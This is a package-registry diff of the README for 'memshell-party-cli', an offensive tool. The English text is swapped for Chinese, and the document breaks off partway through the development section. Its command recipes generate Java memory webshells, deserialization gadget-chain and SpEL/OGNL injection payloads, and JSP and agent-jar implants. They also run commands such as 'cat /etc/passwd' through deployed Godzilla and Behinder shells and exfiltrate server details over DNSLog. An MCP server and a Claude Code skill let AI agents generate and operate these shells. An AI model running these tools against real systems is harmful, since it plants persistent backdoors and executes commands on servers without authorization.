memshell-party-cli 0.3.0 → 0.3.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,371 +1,387 @@
1
- # memshell-party-cli
2
-
3
- English | [中文](README.zh-CN.md)
4
-
5
- Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java
6
- memory shells and probe shells straight from your terminal (or from an AI agent), talking to the
7
- same HTTP API that powers `party.mem.mk/ui`.
8
-
9
- > ⚠️ For authorized security testing, red-team engagements, and research only. You are responsible
10
- > for how you use it.
11
-
12
- ## Features
13
-
14
- - **Interactive wizard** — run `memparty gen` with no flags and pick server / tool / type / packer
15
- from live, API-driven menus.
16
- - **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or scripts.
17
- - **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
18
- - **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
19
- - **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
20
- is alive and the credentials work (echo/handshake round-trip).
21
- - **Command execution** — `memparty exec` runs a command on a deployed Godzilla / Behinder shell
22
- and prints its output (real `execCommand` / `Cmd` payload round-trip).
23
- - **Named targets** — `memparty target save` stores shells in projects (with remark + category),
24
- then `memparty exec hw222/bh9060 --cmd "whoami"` needs no flags at all.
25
- - **Operation log** — every gen/probe/connect/exec/target operation is appended to
26
- `~/.memparty/operations.jsonl`; `memparty log` queries it by category and target.
27
- - **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
28
- - **Any backend** — defaults to the public site, override to your self-hosted instance.
29
-
30
- ## Install
31
-
32
- ```bash
33
- npm install -g memshell-party-cli
34
- # or run without installing:
35
- npx memshell-party-cli gen
36
- ```
37
-
38
- Requires Node.js >= 18.
39
-
40
- ## Choosing the backend
41
-
42
- By priority: `--api` flag → `MEMPARTY_API_URL` env var → `~/.mempartyrc` (`{"apiUrl": "..."}`) →
43
- default `https://party.mem.mk`.
44
-
45
- Self-hosting is recommended (see the MemShellParty README for the Docker one-liner):
46
-
47
- ```bash
48
- memparty --api http://127.0.0.1:8080 gen
49
- # or
50
- export MEMPARTY_API_URL=http://127.0.0.1:8080
51
- ```
52
-
53
- ## Usage
54
-
55
- ### Interactive
56
-
57
- ```bash
58
- memparty gen # wizard for a memory shell
59
- memparty probe # wizard for a probe shell
60
- ```
61
-
62
- The wizard launches automatically when required flags are missing and you're in a terminal.
63
- Force it anytime with `-i`, or disable it with `--no-interactive`.
64
-
65
- ### Scripted generation
66
-
67
- ```bash
68
- # Godzilla listener for Tomcat, single Base64 payload to stdout
69
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
70
- --godzilla-pass pass --godzilla-key key --jdk java8
71
-
72
- # Write a decoded .class file (base64 decoding is automatic for .class/.jar)
73
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
74
- --godzilla-pass pass --godzilla-key key -o shell.class
75
-
76
- # Command shell with an explicit encryptor
77
- memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
78
- --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
79
-
80
- # Full JSON response (metadata + payload) for further processing
81
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
82
- ```
83
-
84
- `--jdk` accepts `java6/8/9/11/17/21`, a bare number (`8`), or a raw class-file major version (`52`).
85
-
86
- Note: some packers (e.g. `Base64`) are *aggregate* packers and return several variants at once;
87
- pick a leaf packer (e.g. `DefaultBase64`, `GzipBase64`) for a single payload.
88
-
89
- ### Discovering options
90
-
91
- ```bash
92
- memparty config servers # servers and their shell types
93
- memparty config tools Tomcat # tools + types for one server
94
- memparty config packers # packer parent/child tree
95
- memparty config command # Command encryptors & implementation classes
96
- memparty config servers --json # machine-readable
97
- ```
98
-
99
- ### Probe shells
100
-
101
- ```bash
102
- memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
103
- memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
104
- ```
105
-
106
- Probe method × content matrix (only these combos are supported by the backend):
107
-
108
- | Method `-m` | Supported content `-c` |
109
- |-------------|-------------------------|
110
- | `DNSLog` | `Server`, `JDK` |
111
- | `Sleep` | `Server` |
112
- | `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
113
-
114
- ### Testing a deployed shell
115
-
116
- `memparty connect` checks whether a shell that is already injected/uploaded actually answers —
117
- it performs the real protocol handshake (Behinder echo, Godzilla payload + `test()` call, suo5
118
- tunnel handshake) and exits 0 on success, 1 on failure.
119
-
120
- ```bash
121
- # Godzilla (defaults: --pass pass --key key)
122
- memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
123
-
124
- # Behinder (default: --pass rebeyond)
125
- memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
126
-
127
- # suo5 (auto-detects the v2 handshake vs the legacy v1 echo; force with --suo5-mode v2|v1)
128
- memparty connect -u http://target/suo5.jsp -t suo5
129
- ```
130
-
131
- Shells generated by MemShellParty are gated by an auth header — the values are in the
132
- `gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along
133
- (the Suo5v2 shell checks it too):
134
-
135
- ```bash
136
- memparty connect -u http://target/x -t godzilla --pass pass --key key \
137
- --header-name User-Agent --header-value qSGAJScj
138
- ```
139
-
140
- Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
141
- `--json` for machine-readable output, `--timeout <ms>` (global option).
142
-
143
- ### Executing commands on a deployed shell
144
-
145
- `memparty exec` runs a command line through a deployed Godzilla / Behinder shell and prints the
146
- remote stdout+stderr. It uses the tool's real protocol — Godzilla's `execCommand` payload method
147
- (argv passed as `arg-0..N`, wrapped in `cmd.exe /c` or `/bin/sh -c`) and Behinder's `Cmd` payload
148
- class (which picks the shell itself based on the remote `os.name`).
149
-
150
- ```bash
151
- # Godzilla — auto-detects the remote OS via getBasicsInfo (one extra request);
152
- # pass --os windows|linux to skip the detection
153
- memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key --cmd "whoami"
154
-
155
- # Behinder — the payload detects the OS itself, no extra request
156
- memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat /etc/passwd"
157
- ```
158
-
159
- The gate-header flags are the same as for `connect`; `--json` returns
160
- `{ ok, tool, url, command, output, durationMs }` for automation.
161
-
162
- ### Saved targets (projects)
163
-
164
- Save a shell once, then reference it by name — no more flag soup. Shells live inside
165
- **projects**: a project groups several shells of one engagement and carries an optional
166
- `--remark` and `--category`. The store is `~/.memparty/targets.json`.
167
-
168
- ```bash
169
- # save (project is created on the fly; --remark/--category are project-level,
170
- # --shell-remark describes this one shell)
171
- memparty target save hw222/bh9060 -u http://192.168.31.222:9060/console/service \
172
- -t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \
173
- --remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
174
-
175
- # list everything (filter with --category <name>)
176
- memparty target list
177
-
178
- # use: <project>/<shell>, or a bare project name when it holds exactly one shell
179
- memparty connect hw222/bh9060
180
- memparty exec hw222 --cmd "whoami"
181
-
182
- # edit project meta or a shell's remark / clean up
183
- memparty target note hw222 --remark "new remark" --category prod
184
- memparty target note hw222/bh9060 --remark "new shell note"
185
- memparty target remove hw222/bh9060 # one shell
186
- memparty target remove hw222 # the whole project
187
- ```
188
-
189
- Explicit flags still override stored values (`memparty exec hw222 --cmd id --pass otherpass`).
190
-
191
- ### Operation log
192
-
193
- Every operation (gen, probe, connect, exec, target save/note/remove) is appended as one JSON
194
- line to `~/.memparty/operations.jsonl` — target, outcome, duration, and for exec the command
195
- plus truncated output. Credentials and payload bytes are never logged.
196
-
197
- ```bash
198
- memparty log # latest 50 operations, newest first
199
- memparty log --category exec # only command executions
200
- memparty log --target hw222 # everything against one project (or a host substring)
201
- memparty log --category connect --json
202
- ```
203
-
204
- ## Demos
205
-
206
- End-to-end recipes. Pick the **packer** to match your delivery vector, and the **shell type** to
207
- match the target (add the `Jakarta` prefix for Tomcat 10+ / Spring Boot 3; use `Agent*` types with
208
- the `AgentJar*` packers). When in doubt, run `memparty config tools <server>` and
209
- `memparty config packers` first.
210
-
211
- ### 1. Godzilla webshell on Tomcat 9 (javax)
212
-
213
- ```bash
214
- # Listener-based Godzilla shell, single base64 payload to stdout
215
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
216
- --godzilla-pass pass --godzilla-key key --jdk java8
217
-
218
- # ...or write the decoded injector .class straight to disk
219
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
220
- --godzilla-pass pass --godzilla-key key -o shell.class
221
- ```
222
-
223
- ### 2. Same shell on Tomcat 10+ / Spring Boot 3 (Jakarta)
224
-
225
- ```bash
226
- memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
227
- --godzilla-pass pass --godzilla-key key --jdk java17
228
- ```
229
-
230
- ### 3. Pure command-execution shell (RCE)
231
-
232
- ```bash
233
- memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
234
- --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
235
- ```
236
-
237
- ### 4. Deserialization gadget chain (e.g. CommonsBeanutils ≤ 1.9.4)
238
-
239
- ```bash
240
- memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
241
- --godzilla-pass pass --godzilla-key key --jdk java8
242
- # other chains: JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
243
- ```
244
-
245
- ### 5. Expression-injection delivery (SpEL / OGNL / EL / Groovy …)
246
-
247
- ```bash
248
- # Spring SpEL injection -> define + load the shell class (Spring uses Interceptor, not Filter)
249
- memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
250
- --command-param-name cmd --jdk java8
251
- # OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
252
- # (SpEL/OGNL/JXPath are *aggregate* packers — they return several variants at once)
253
- ```
254
-
255
- ### 6. Drop a JSP file
256
-
257
- ```bash
258
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
259
- --godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
260
- ```
261
-
262
- ### 7. Java-agent memory shell (survives redeploys, hooks deep)
263
-
264
- ```bash
265
- memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
266
- --godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
267
- ```
268
-
269
- ### 8. Fingerprint the target first (blind)
270
-
271
- ```bash
272
- # DNSLog: confirm code execution + exfil the server/JDK name via DNS
273
- memparty probe -m DNSLog -c Server -p DefaultBase64 --host <your>.dnslog.cn
274
- # Sleep: time-based blind — delays Ns only if the server matches your guess
275
- memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
276
- ```
277
-
278
- The server name a probe reports is exactly the `-s` value to pass to `memparty gen`.
279
-
280
- ### Parse a class name
281
-
282
- ```bash
283
- memparty parse-classname --file shell.class
284
- memparty parse-classname <base64-of-class-bytes>
285
- ```
286
-
287
- ### Version
288
-
289
- ```bash
290
- memparty version # CLI version + backend server version
291
- ```
292
-
293
- ## MCP server
294
-
295
- Run the CLI as an MCP server over stdio:
296
-
297
- ```bash
298
- memparty mcp --api http://127.0.0.1:8080
299
- ```
300
-
301
- Example Claude Code / Claude Desktop config:
302
-
303
- ```json
304
- {
305
- "mcpServers": {
306
- "memshell-party": {
307
- "command": "npx",
308
- "args": ["-y", "memshell-party-cli", "mcp"],
309
- "env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
310
- }
311
- }
312
- }
313
- ```
314
-
315
- Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
316
- `generate_memshell`, `generate_probe`, `parse_classname`, `server_version`, `connect_test`,
317
- `exec_command`, `target_save`, `target_note`, `target_list`, `target_remove`, `log_list`.
318
-
319
- ## AI skill (Claude Code)
320
-
321
- The package ships a [Claude Code skill](https://docs.claude.com/en/docs/claude-code/skills) at
322
- `skills/memshell-party/SKILL.md` that teaches an AI agent how to drive MemShellParty — the
323
- server/tool/type/packer decision tree, the probe method×content matrix, packer-by-scenario
324
- guidance, and the common gotchas (Jakarta vs javax, JDK targeting, aggregate vs leaf packers).
325
-
326
- Install it into a project (or drop it in `~/.claude/skills/` for global use):
327
-
328
- ```bash
329
- # from the package root, or after `npm install memshell-party-cli`:
330
- mkdir -p .claude/skills
331
- cp node_modules/memshell-party-cli/skills/memshell-party .claude/skills/ -r
332
- ```
333
-
334
- Then just ask in natural language, e.g. *"generate a Godzilla listener for Tomcat 10"* or
335
- *"give me a CommonsBeanutils deserialization payload for a Spring Boot 2 app"* — the skill guides
336
- the agent to enumerate options first and pick the right packer for the vector.
337
-
338
- ## Programmatic use
339
-
340
- The package also ships a typed API client:
341
-
342
- ```ts
343
- import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
344
-
345
- const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
346
- const res = await client.generateMemShell(
347
- buildMemShellRequest({
348
- server: "Tomcat",
349
- shellTool: "Godzilla",
350
- shellType: "Listener",
351
- packer: "DefaultBase64",
352
- godzillaPass: "pass",
353
- godzillaKey: "key",
354
- jdk: "java8",
355
- }),
356
- );
357
- console.log(res.memShellResult.shellClassName, res.packResult);
358
- ```
359
-
360
- ## Development
361
-
362
- ```bash
363
- npm install
364
- npm run build # tsup -> dist/
365
- npm test # vitest
366
- npm run typecheck # tsc --noEmit
367
- ```
368
-
369
- ## License
370
-
371
- MIT
1
+ # memshell-party-cli
2
+
3
+ [English](README.en.md) | 中文
4
+
5
+ [MemShellParty](https://party.mem.mk) 的命令行客户端 **兼** MCP 服务器 —— 直接在终端(或 AI
6
+ 代理)里生成 Java 内存马和探测马,走的是与 `party.mem.mk/ui` 相同的 HTTP API。
7
+
8
+ > ⚠️ 仅限授权安全测试、红队行动与研究用途。如何使用由你自己负责。
9
+
10
+ ## 功能特性
11
+
12
+ - **交互式向导** —— 不带参数运行 `memparty gen`,从实时拉取的 API 菜单中选择
13
+ 服务器 / 工具 / 类型 / 打包器。
14
+ - **完全可脚本化** —— 每个选项都有对应命令行参数,CI 或脚本中可以精确复现;
15
+ `--json` 模式下连错误都是结构化 JSON(`{"ok":false,"error":...}`)。
16
+ - **REPL** —— 裸 `memparty` 进入交互循环,一次会话跑多个命令,目标名随存随用。
17
+ - **MCP 服务器** —— `memparty mcp` 把生成和配置能力暴露为工具,供 Claude 及其他 MCP 客户端调用。
18
+ - **覆盖全部端点** —— 内存马生成、探测马生成、配置查询、类名解析、版本查询。
19
+ - **连接测试** —— `memparty connect` 验证已部署的 哥斯拉 / 冰蝎 / suo5 马是否存活、
20
+ 凭证是否正确(回显 / 握手双向校验)。
21
+ - **命令执行** —— `memparty exec` 在已部署的哥斯拉 / 冰蝎马上执行命令并回显输出
22
+ (真实 `execCommand` / `Cmd` payload 往返)。
23
+ - **命名目标** —— `memparty save` 把 shell 存进项目(支持备注 + 分类),之后
24
+ `memparty exec hw222/bh9060 --cmd "whoami"` 一个名字就够。
25
+ - **操作日志** —— 每次 gen/probe/connect/exec/save/note/remove 操作都追加到
26
+ `~/.memparty/operations.jsonl`,`memparty log` 按分类和目标查询。
27
+ - **灵活的输出** —— payload 默认输出到 stdout,`-o file` 写文件(`.class`/`.jar` 自动
28
+ base64 解码)。
29
+ - **任意后端** —— 默认使用公共站点,可切换为自建实例。
30
+
31
+ ## 安装
32
+
33
+ ```bash
34
+ npm install -g memshell-party-cli
35
+ # 或者免安装直接运行:
36
+ npx memshell-party-cli gen
37
+ ```
38
+
39
+ 要求 Node.js >= 18。
40
+
41
+ ## 选择后端
42
+
43
+ 优先级从高到低:`--api` 参数 → `MEMPARTY_API_URL` 环境变量 → `~/.mempartyrc`
44
+ (`{"apiUrl": "..."}`)→ 默认 `https://party.mem.mk`。
45
+
46
+ 建议自建(Docker 一行命令,见 MemShellParty 的 README):
47
+
48
+ ```bash
49
+ memparty --api http://127.0.0.1:8080 gen
50
+ # 或者
51
+ export MEMPARTY_API_URL=http://127.0.0.1:8080
52
+ ```
53
+
54
+ ## 用法
55
+
56
+ ### 交互模式
57
+
58
+ 裸 `memparty` 进入 REPL:一个进程里连续执行任意子命令,配合自动保存的命名目标,
59
+ 一次会话打通 生成 → 验证 → 执行:
60
+
61
+ ```text
62
+ memparty> connect -u http://192.168.31.222/shell.jsp -t behinder --header-value YdwTyuQr
63
+ saved as '192.168.31.222/behinder'
64
+ memparty> exec 192.168.31.222/behinder --cmd whoami
65
+ memparty> list
66
+ memparty> exit
67
+ ```
68
+
69
+ 带参数运行时行为不变(管道 / CI 里裸 `memparty` 仍打印帮助)。REPL 内 `help` 查看命令、
70
+ `<子命令> --help` 查看示例、`exit`/`quit` 退出。`gen` / `probe` 的交互向导在 REPL 里照常可用:
71
+
72
+ ```bash
73
+ memparty gen # 内存马向导(REPL 外)
74
+ memparty probe # 探测马向导
75
+ ```
76
+
77
+ 当必需参数缺失且处于终端环境时,向导会自动启动。随时可用 `-i` 强制开启,或用
78
+ `--no-interactive` 禁用。
79
+
80
+ ### 脚本化生成
81
+
82
+ ```bash
83
+ # 生成 Tomcat 哥斯拉 Listener,单个 Base64 payload 输出到 stdout
84
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
85
+ --godzilla-pass pass --godzilla-key key --jdk java8
86
+
87
+ # 写出解码后的 .class 文件(.class/.jar 会自动 base64 解码)
88
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
89
+ --godzilla-pass pass --godzilla-key key -o shell.class
90
+
91
+ # 指定加密器的命令执行马
92
+ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
93
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
94
+
95
+ # 输出完整 JSON(元数据 + payload),便于后续处理
96
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
97
+ ```
98
+
99
+ `--jdk` 接受 `java6/8/9/11/17/21`、纯数字(`8`)或 class 文件主版本号(`52`)。
100
+
101
+ 注意:部分打包器(如 `Base64`)是*聚合*打包器,会一次返回多个变体;要单个 payload 请选
102
+ 叶子打包器(如 `DefaultBase64`、`GzipBase64`)。
103
+
104
+ ### 查询可用选项
105
+
106
+ ```bash
107
+ memparty config servers # 服务器及其 shell 类型
108
+ memparty config tools Tomcat # 指定服务器的工具 + 类型
109
+ memparty config packers # 打包器父子树
110
+ memparty config command # Command 马的加密器与实现类
111
+ memparty config servers --json # 机器可读输出
112
+ ```
113
+
114
+ ### 探测马
115
+
116
+ ```bash
117
+ memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
118
+ memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
119
+ ```
120
+
121
+ 探测方法 × 内容矩阵(后端仅支持以下组合):
122
+
123
+ | 方法 `-m` | 支持的内容 `-c` |
124
+ |-----------|------------------|
125
+ | `DNSLog` | `Server`, `JDK` |
126
+ | `Sleep` | `Server` |
127
+ | `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
128
+
129
+ ### 测试已部署的马
130
+
131
+ `memparty connect` 检查已经注入 / 上传的 shell 是否真的会应答 —— 它执行真实的协议握手
132
+ (冰蝎回显、哥斯拉 payload 上传 + `test()` 调用、suo5 隧道握手),成功退出码 0,失败 1。
133
+
134
+ ```bash
135
+ # 哥斯拉(默认:--pass pass --key key)
136
+ memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
137
+
138
+ # 冰蝎(默认:--pass rebeyond)
139
+ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
140
+
141
+ # suo5(自动识别 v2 握手与旧版 v1 回显;可用 --suo5-mode v2|v1 强制指定)
142
+ memparty connect -u http://target/suo5.jsp -t suo5
143
+ ```
144
+
145
+ MemShellParty 生成的 shell 带门禁头校验 —— 取值在 `gen --json` 输出的
146
+ `shellToolConfig.headerName` / `headerValue` 中,**必须**原样传给 connect
147
+ (Suo5v2 的 shell 同样校验):
148
+
149
+ ```bash
150
+ memparty connect -u http://target/x -t godzilla --pass pass --key key \
151
+ --header-name User-Agent --header-value qSGAJScj
152
+ ```
153
+
154
+ 其他参数:`-H "Name: value"` 添加自定义请求头,`-k/--insecure` 跳过自签名 TLS 校验,
155
+ `--json` 机器可读输出,`--timeout <ms>`(全局选项)。
156
+
157
+ ### 在已部署的马上执行命令
158
+
159
+ `memparty exec` 通过已部署的哥斯拉 / 冰蝎 shell 执行命令,并打印远端 stdout+stderr。
160
+ 走的是真实协议 —— 哥斯拉调用 payload 的 `execCommand` 方法(argv 以 `arg-0..N` 传递,
161
+ 外面包 `cmd.exe /c` 或 `/bin/sh -c`);冰蝎上传 `Cmd` payload 类(它自己根据远端
162
+ `os.name` 选择 shell)。
163
+
164
+ ```bash
165
+ # 哥斯拉 —— 默认先调 getBasicsInfo 自动探测远端系统(多一次请求);
166
+ # 传 --os windows|linux 可跳过探测
167
+ memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key --cmd "whoami"
168
+
169
+ # 冰蝎 —— payload 自己探测系统,无额外请求
170
+ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat /etc/passwd"
171
+ ```
172
+
173
+ 门禁头参数与 `connect` 相同;`--json` 返回 `{ ok, tool, url, command, output, durationMs }`,
174
+ 方便脚本与 agent 使用。
175
+
176
+ ### 命名目标(项目)
177
+
178
+ 保存一次,之后用名字引用 —— 不用再抄一串参数。shell 存放在**项目**里:一个项目
179
+ 归组同一次任务的多台 shell,并可带 `--remark` 备注和 `--category` 分类。
180
+ 存储文件为 `~/.memparty/targets.json`。
181
+
182
+ `connect` / `exec` 成功后会**自动保存**为 `<主机>/<工具>`(如 `192.168.31.222/behinder`,
183
+ 加 `--no-save` 跳过),下次直接报这个名字即可;也可以用 `save` 显式指定名字:
184
+
185
+ ```bash
186
+ # 保存(项目自动创建;--remark/--category 是项目级属性,
187
+ # --shell-remark 是这台 shell 自己的备注)
188
+ memparty save hw222/bh9060 -u http://192.168.31.222:9060/console/service \
189
+ -t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \
190
+ --remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
191
+
192
+ # 列出全部(可按 --category <名称> 过滤)
193
+ memparty list
194
+
195
+ # 使用:<项目>/<shell>;项目里只有一个 shell 时光写项目名也行
196
+ memparty connect hw222/bh9060
197
+ memparty exec hw222 --cmd "whoami"
198
+
199
+ # 改项目备注 / 改某台 shell 的备注 / 清理
200
+ memparty note hw222 --remark "新备注" --category prod
201
+ memparty note hw222/bh9060 --remark "新的 shell 备注"
202
+ memparty remove hw222/bh9060 # 删单个 shell
203
+ memparty remove hw222 # 删整个项目
204
+ ```
205
+
206
+ 显式参数仍会覆盖已存值(如 `memparty exec hw222 --cmd id --pass 其他密码`)。
207
+
208
+ ### 操作日志
209
+
210
+ 每次操作(gen、probe、connect、exec、save/note/remove)都以一行 JSON 追加到
211
+ `~/.memparty/operations.jsonl` —— 记录目标、结果、耗时,exec 还记录命令和截断后的输出。
212
+ 凭证和 payload 内容不会写入日志。
213
+
214
+ ```bash
215
+ memparty log # 最近 50 条,新的在前
216
+ memparty log --category exec # 只看命令执行
217
+ memparty log --target hw222 # 某个项目(或主机名子串)的全部操作
218
+ memparty log --category connect --json
219
+ ```
220
+
221
+ ## 示例
222
+
223
+ 端到端配方。**打包器**按投递途径选择,**shell 类型**按目标选择(Tomcat 10+ /
224
+ Spring Boot 3 加 `Jakarta` 前缀;`Agent*` 类型搭配 `AgentJar*` 打包器)。拿不准时先运行
225
+ `memparty config tools <server>` 和 `memparty config packers`。
226
+
227
+ ### 1. Tomcat 9(javax)上的哥斯拉内存马
228
+
229
+ ```bash
230
+ # Listener 型哥斯拉马,单个 base64 payload 到 stdout
231
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
232
+ --godzilla-pass pass --godzilla-key key --jdk java8
233
+
234
+ # ……或直接把解码后的注入器 .class 写到磁盘
235
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
236
+ --godzilla-pass pass --godzilla-key key -o shell.class
237
+ ```
238
+
239
+ ### 2. 同一个马用于 Tomcat 10+ / Spring Boot 3(Jakarta)
240
+
241
+ ```bash
242
+ memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
243
+ --godzilla-pass pass --godzilla-key key --jdk java17
244
+ ```
245
+
246
+ ### 3. 纯命令执行马(RCE)
247
+
248
+ ```bash
249
+ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
250
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
251
+ ```
252
+
253
+ ### 4. 反序列化利用链(如 CommonsBeanutils ≤ 1.9.4)
254
+
255
+ ```bash
256
+ memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
257
+ --godzilla-pass pass --godzilla-key key --jdk java8
258
+ # 其他链:JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
259
+ ```
260
+
261
+ ### 5. 表达式注入投递(SpEL / OGNL / EL / Groovy …)
262
+
263
+ ```bash
264
+ # Spring SpEL 注入 -> define + load shell 类(Spring 用 Interceptor,不是 Filter)
265
+ memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
266
+ --command-param-name cmd --jdk java8
267
+ # OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
268
+ # (SpEL/OGNL/JXPath 是*聚合*打包器 —— 会一次返回多个变体)
269
+ ```
270
+
271
+ ### 6. 落地一个 JSP 文件
272
+
273
+ ```bash
274
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
275
+ --godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
276
+ ```
277
+
278
+ ### 7. Java agent 内存马(扛得住重部署,挂钩更深)
279
+
280
+ ```bash
281
+ memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
282
+ --godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
283
+ ```
284
+
285
+ ### 8. 先做(盲)指纹识别
286
+
287
+ ```bash
288
+ # DNSLog:确认可执行代码,并通过 DNS 带出服务器/JDK 名称
289
+ memparty probe -m DNSLog -c Server -p DefaultBase64 --host <你的>.dnslog.cn
290
+ # Sleep:时间盲注 —— 仅当服务器与你猜的一致时才延迟 N 秒
291
+ memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
292
+ ```
293
+
294
+ 探测马报出的服务器名称就是 `memparty gen` 里 `-s` 要用的值。
295
+
296
+ ### 解析类名
297
+
298
+ ```bash
299
+ memparty parse-classname --file shell.class
300
+ memparty parse-classname <class字节的base64>
301
+ ```
302
+
303
+ ### 版本
304
+
305
+ ```bash
306
+ memparty version # CLI 版本 + 后端服务器版本
307
+ ```
308
+
309
+ ## MCP 服务器
310
+
311
+ 以 stdio 方式作为 MCP 服务器运行:
312
+
313
+ ```bash
314
+ memparty mcp --api http://127.0.0.1:8080
315
+ ```
316
+
317
+ Claude Code / Claude Desktop 配置示例:
318
+
319
+ ```json
320
+ {
321
+ "mcpServers": {
322
+ "memshell-party": {
323
+ "command": "npx",
324
+ "args": ["-y", "memshell-party-cli", "mcp"],
325
+ "env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
326
+ }
327
+ }
328
+ }
329
+ ```
330
+
331
+ 暴露的工具:`list_servers`、`list_config`、`list_packers`、`list_command_configs`、
332
+ `generate_memshell`、`generate_probe`、`parse_classname`、`server_version`、`connect_test`、
333
+ `exec_command`、`target_save`、`target_note`、`target_list`、`target_remove`、`log_list`。
334
+
335
+ ## AI 技能(Claude Code)
336
+
337
+ 本包附带一个 [Claude Code 技能](https://docs.claude.com/en/docs/claude-code/skills),位于
338
+ `skills/memshell-party/SKILL.md`,教 AI 代理如何驱动 MemShellParty ——
339
+ 服务器/工具/类型/打包器决策树、探测方法×内容矩阵、按场景选打包器的指导,以及常见坑
340
+ (Jakarta 与 javax 之分、JDK 目标版本、聚合与叶子打包器)。
341
+
342
+ 安装到项目中(或放到 `~/.claude/skills/` 全局使用):
343
+
344
+ ```bash
345
+ # 在包根目录下,或 npm install memshell-party-cli 之后:
346
+ mkdir -p .claude/skills
347
+ cp node_modules/memshell-party-cli/skills/memshell-party .claude/skills/ -r
348
+ ```
349
+
350
+ 之后用自然语言提问即可,比如 *"生成一个 Tomcat 10 的哥斯拉 Listener"* 或
351
+ *"给一个 Spring Boot 2 应用的 CommonsBeanutils 反序列化 payload"* —— 技能会引导代理
352
+ 先枚举选项,再按投递途径选合适的打包器。
353
+
354
+ ## 编程调用
355
+
356
+ 包内还提供带类型的 API 客户端:
357
+
358
+ ```ts
359
+ import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
360
+
361
+ const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
362
+ const res = await client.generateMemShell(
363
+ buildMemShellRequest({
364
+ server: "Tomcat",
365
+ shellTool: "Godzilla",
366
+ shellType: "Listener",
367
+ packer: "DefaultBase64",
368
+ godzillaPass: "pass",
369
+ godzillaKey: "key",
370
+ jdk: "java8",
371
+ }),
372
+ );
373
+ console.log(res.memShellResult.shellClassName, res.packResult);
374
+ ```
375
+
376
+ ## 开发
377
+
378
+ ```bash
379
+ npm install
380
